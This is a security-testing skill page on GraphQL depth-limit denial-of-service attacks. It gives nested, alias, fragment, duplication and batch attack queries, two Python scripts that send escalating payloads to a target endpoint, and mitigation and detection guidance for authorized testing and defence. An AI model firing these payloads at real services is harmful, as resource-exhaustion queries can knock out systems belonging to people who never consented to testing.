Install this skill

npx skills add mukul975/Anthropic-Cybersecurity-Skills

Framework mappings

MITRE ATT&CK

NIST CSF 2.0

Overview

GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.

When to Use

When conducting security assessments that involve performing graphql depth limit attack
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Target GraphQL API endpoint with introspection enabled or known schema
GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
Python 3.8+ with requests library for automated testing
Burp Suite or mitmproxy for traffic analysis
Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Core Attack Techniques

1. Recursive Depth Attack

When a GraphQL schema has bidirectional relationships, queries can reference them recursively:

# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }
 
# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. Alias-Based Amplification

When batch queries are blocked, aliases can multiply the same field request within a single query:

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}

3. Fragment Spread Attack

Fragments can be used to construct complex, deeply nested queries more efficiently:

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}
 
fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}
 
query FragmentAttack {
  users {
    ...UserFields
  }
}

4. Field Duplication Attack

Repeating the same field multiple times within a selection set increases processing:

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. Batch Query Attack

Sending multiple queries in a single HTTP request:

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

Automated Testing Script

#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool
 
Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""
 
import requests
import time
import json
import sys
from typing import Optional
 
class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []
 
    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """Generate a recursively nested GraphQL query to a specified depth."""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += f"{field_b} {{ "
        query += leaf_field
        query += " }" * (depth + 1)  # Close all braces
        query += " }"
        return query
 
    def generate_alias_query(self, count: int, inner_query: str) -> str:
        """Generate a query with multiple aliases."""
        aliases = []
        for i in range(count):
            aliases.append(f"a{i}: {inner_query}")
        return "{ " + " ".join(aliases) + " }"
 
    def send_query(self, query: str, timeout: int = 30) -> dict:
        """Send a GraphQL query and measure response metrics."""
        payload = json.dumps({"query": query})
        start_time = time.time()
        try:
            response = requests.post(
                self.endpoint,
                data=payload,
                headers=self.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
            return {
                "status_code": response.status_code,
                "response_time": round(elapsed, 3),
                "response_size": len(response.content),
                "has_errors": "errors" in response.json() if response.status_code == 200 else True,
                "error_message": self._extract_error(response),
                "success": response.status_code == 200 and "errors" not in response.json()
            }
        except requests.exceptions.Timeout:
            elapsed = time.time() - start_time
            return {
                "status_code": 0,
                "response_time": round(elapsed, 3),
                "response_size": 0,
                "has_errors": True,
                "error_message": "Request timed out",
                "success": False
            }
        except requests.exceptions.ConnectionError:
            return {
                "status_code": 0,
                "response_time": 0,
                "response_size": 0,
                "has_errors": True,
                "error_message": "Connection refused - possible DoS",
                "success": False
            }
 
    def _extract_error(self, response) -> str:
        try:
            data = response.json()
            if "errors" in data:
                return data["errors"][0].get("message", "Unknown error")
        except (json.JSONDecodeError, IndexError, KeyError):
            pass
        return ""
 
    def test_depth_limits(self, max_depth: int = 20):
        """Progressively test increasing query depths."""
        print(f"Testing depth limits from 1 to {max_depth}...")
        print(f"{'Depth':<8}{'Status':<10}{'Time(s)':<12}{'Size(B)':<12}{'Result'}")
        print("-" * 65)
 
        for depth in range(1, max_depth + 1):
            query = self.generate_nested_query(depth)
            result = self.send_query(query)
            result["depth"] = depth
            self.results.append(result)
 
            status = "OK" if result["success"] else "BLOCKED"
            print(f"{depth:<8}{result['status_code']:<10}{result['response_time']:<12}"
                  f"{result['response_size']:<12}{status}")
 
            if result["error_message"] and "depth" in result["error_message"].lower():
                print(f"\n[+] Depth limit detected at depth {depth}")
                print(f"    Error: {result['error_message']}")
                return depth
 
            if result["status_code"] == 0:
                print(f"\n[!] Server became unresponsive at depth {depth}")
                return depth
 
        print(f"\n[!] WARNING: No depth limit detected up to depth {max_depth}")
        return None
 
    def test_alias_amplification(self, alias_counts: list = None):
        """Test alias-based amplification attacks."""
        if alias_counts is None:
            alias_counts = [1, 5, 10, 25, 50, 100]
 
        print(f"\nTesting alias amplification...")
        inner = 'user(id: "1") { posts { title } }'
 
        for count in alias_counts:
            query = self.generate_alias_query(count, inner)
            result = self.send_query(query)
            status = "OK" if result["success"] else "BLOCKED"
            print(f"  Aliases: {count:<6} Status: {result['status_code']:<6} "
                  f"Time: {result['response_time']:<8}s  {status}")
 
    def generate_report(self) -> dict:
        """Generate a summary report of all tests."""
        successful = [r for r in self.results if r["success"]]
        blocked = [r for r in self.results if not r["success"]]
        max_successful_depth = max([r["depth"] for r in successful], default=0)
 
        return {
            "endpoint": self.endpoint,
            "total_tests": len(self.results),
            "successful_queries": len(successful),
            "blocked_queries": len(blocked),
            "max_successful_depth": max_successful_depth,
            "depth_limit_enforced": len(blocked) > 0,
            "vulnerability": "HIGH" if max_successful_depth > 10 else
                           "MEDIUM" if max_successful_depth > 5 else "LOW"
        }
 
 
if __name__ == "__main__":
    endpoint = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4000/graphql"
    tester = GraphQLDepthTester(endpoint)
    tester.test_depth_limits(max_depth=15)
    tester.test_alias_amplification()
 
    report = tester.generate_report()
    print(f"\n{'='*50}")
    print(f"REPORT SUMMARY")
    print(f"{'='*50}")
    for key, value in report.items():
        print(f"  {key}: {value}")

Mitigation Strategies

Depth Limiting

// Using graphql-depth-limit (Node.js)
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)]
});

Query Complexity Analysis

// Using graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');
 
const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    console.log('Query complexity:', complexity);
  }
});

Rate Limiting and Timeout Controls

# Server-side timeout configuration
GRAPHQL_CONFIG = {
    "max_depth": 5,
    "max_complexity": 1000,
    "max_aliases": 10,
    "query_timeout_seconds": 10,
    "max_batch_size": 5,
    "rate_limit_per_minute": 100
}

Detection Indicators

Unusually deep or complex GraphQL queries in server logs
Spike in response times correlated with specific query patterns
High memory or CPU usage on GraphQL server processes
Repeated requests with incrementally increasing query complexity
Large response payloads from single query requests

References

OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
Apollo GraphQL Security Guide: https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries
Checkmarx GraphQL Depth Exploitation: https://checkmarx.com/blog/exploiting-graphql-query-depth/
GraphQL.org Security: https://graphql.org/learn/security/
Escape.tech Cyclic Queries: https://escape.tech/blog/cyclic-queries-and-depth-limit/
PortSwigger GraphQL Vulnerabilities: https://portswigger.net/web-security/graphql

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.6 KB

API Reference — Performing GraphQL Depth Limit Attack

Libraries Used

requests: Send GraphQL queries with depth/width/batch payloads
time: Measure response latency for resource exhaustion detection

CLI Interface

python agent.py depth --url <endpoint> [--max-depth 20] [--auth-header "Bearer token"]
python agent.py circular --url <endpoint> --type-a User --field-a posts --type-b Post --field-b author [--depth 10]
python agent.py batch --url <endpoint> [--count 50]
python agent.py width --url <endpoint> [--width 50] [--depth 5]

Core Functions

`build_nested_query(field_name, depth, leaf)` — Construct nested query payload

Generates progressively deeper GraphQL queries for depth limit probing.

`test_depth_limit(url, max_depth, headers)` — Probe depth enforcement

Sends queries at increasing depth (1 to max_depth). Classifies severity: HIGH (>=15 allowed), MEDIUM (>=8), LOW (<8).

`test_circular_query(url, type_a, field_a, type_b, field_b, depth)` — Test circular references

Builds alternating A.field_a -> B.field_b chains to test circular query handling.

`test_batch_query(url, count, headers)` — Test batch query bypass

Sends array of N queries to check if batching bypasses per-query depth limits.

`test_resource_exhaustion(url, width, depth, headers)` — Test wide+deep queries

Combines field width (aliases) with nesting depth. Flags SLOW_RESPONSE if >5s.

Severity Classification

HIGH: No depth limit or limit >= 15 levels
MEDIUM: Depth limit 8-14 or batch queries accepted
LOW: Depth limit < 8 with proper enforcement

Dependencies

pip install requests

Scripts 1

agent.py6.8 KB

Display-only source. This catalog never executes bundled scripts.

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing GraphQL depth limit attack testing."""

import json
import argparse
import time
from datetime import datetime

try:
    import requests
except ImportError:
    requests = None


def build_nested_query(field_name, depth, leaf="__typename"):
    """Build a deeply nested GraphQL query string."""
    query = leaf
    for _ in range(depth):
        query = f"{field_name} {{ {query} }}"
    return "query { " + query + " }"


def test_depth_limit(url, max_depth=20, headers=None):
    """Probe GraphQL endpoint for query depth enforcement."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    results = []
    last_success = 0
    for depth in range(1, max_depth + 1):
        query = build_nested_query("__schema", depth, "__typename")
        try:
            resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=15)
            data = resp.json()
            has_errors = "errors" in data
            has_data = bool(data.get("data"))
            blocked = has_errors and not has_data
            results.append({"depth": depth, "status": resp.status_code, "blocked": blocked, "response_time_ms": resp.elapsed.total_seconds() * 1000})
            if not blocked:
                last_success = depth
            if blocked:
                break
        except Exception as e:
            results.append({"depth": depth, "error": str(e)})
            break
    finding = "NO_DEPTH_LIMIT" if last_success >= max_depth else f"DEPTH_LIMIT_AT_{last_success + 1}"
    severity = "HIGH" if last_success >= 15 else "MEDIUM" if last_success >= 8 else "LOW"
    return {
        "url": url, "max_depth_tested": max_depth, "max_allowed_depth": last_success,
        "finding": finding, "severity": severity, "details": results,
        "timestamp": datetime.utcnow().isoformat(),
    }


def test_circular_query(url, type_a, field_a, type_b, field_b, depth=10, headers=None):
    """Test circular reference queries (e.g., user.posts.author.posts...)."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    fragment = ""
    for i in range(depth):
        if i % 2 == 0:
            fragment = f"{field_a} {{ {fragment} }}" if fragment else f"{field_a} {{ __typename }}"
        else:
            fragment = f"{field_b} {{ {fragment} }}"
    query = f"query {{ {fragment} }}"
    try:
        resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=30)
        data = resp.json()
        return {
            "url": url, "circular_depth": depth,
            "type_pair": f"{type_a}.{field_a} <-> {type_b}.{field_b}",
            "status": resp.status_code,
            "blocked": "errors" in data and not data.get("data"),
            "response_time_ms": resp.elapsed.total_seconds() * 1000,
        }
    except Exception as e:
        return {"error": str(e)}


def test_batch_query(url, count=50, headers=None):
    """Test if batched queries bypass depth limits."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    queries = [{"query": "{ __typename }"} for _ in range(count)]
    try:
        resp = requests.post(url, json=queries, headers=hdrs, timeout=30)
        data = resp.json()
        accepted = isinstance(data, list)
        return {
            "url": url, "batch_size": count, "batch_accepted": accepted,
            "responses": len(data) if accepted else 0,
            "finding": f"BATCH_ALLOWED_{count}" if accepted else "BATCH_REJECTED",
            "severity": "HIGH" if accepted and count >= 20 else "MEDIUM" if accepted else "INFO",
        }
    except Exception as e:
        return {"error": str(e)}


def test_resource_exhaustion(url, width=50, depth=5, headers=None):
    """Test wide + deep queries for resource exhaustion potential."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    fields = " ".join([f"f{i}: __typename" for i in range(width)])
    nested = fields
    for _ in range(depth):
        nested = f"__schema {{ types {{ {nested} }} }}"
    query = f"query {{ {nested} }}"
    try:
        start = time.time()
        resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=30)
        elapsed = (time.time() - start) * 1000
        return {
            "url": url, "width": width, "depth": depth,
            "total_fields": width * depth, "status": resp.status_code,
            "response_time_ms": round(elapsed, 1),
            "finding": "SLOW_RESPONSE" if elapsed > 5000 else "NORMAL",
        }
    except Exception as e:
        return {"error": str(e)}


def main():
    if not requests:
        print(json.dumps({"error": "requests not installed — pip install requests"}))
        return
    parser = argparse.ArgumentParser(description="GraphQL Depth Limit Attack Agent")
    sub = parser.add_subparsers(dest="command")
    d = sub.add_parser("depth", help="Test query depth limits")
    d.add_argument("--url", required=True)
    d.add_argument("--max-depth", type=int, default=20)
    d.add_argument("--auth-header", help="Authorization header value")
    c = sub.add_parser("circular", help="Test circular reference queries")
    c.add_argument("--url", required=True)
    c.add_argument("--type-a", required=True)
    c.add_argument("--field-a", required=True)
    c.add_argument("--type-b", required=True)
    c.add_argument("--field-b", required=True)
    c.add_argument("--depth", type=int, default=10)
    b = sub.add_parser("batch", help="Test batch query acceptance")
    b.add_argument("--url", required=True)
    b.add_argument("--count", type=int, default=50)
    w = sub.add_parser("width", help="Test wide+deep resource exhaustion")
    w.add_argument("--url", required=True)
    w.add_argument("--width", type=int, default=50)
    w.add_argument("--depth", type=int, default=5)
    args = parser.parse_args()
    headers = {}
    if hasattr(args, "auth_header") and args.auth_header:
        headers["Authorization"] = args.auth_header
    if args.command == "depth":
        result = test_depth_limit(args.url, args.max_depth, headers or None)
    elif args.command == "circular":
        result = test_circular_query(args.url, args.type_a, args.field_a, args.type_b, args.field_b, args.depth, headers or None)
    elif args.command == "batch":
        result = test_batch_query(args.url, args.count, headers or None)
    elif args.command == "width":
        result = test_resource_exhaustion(args.url, args.width, args.depth, headers or None)
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()

Keep exploring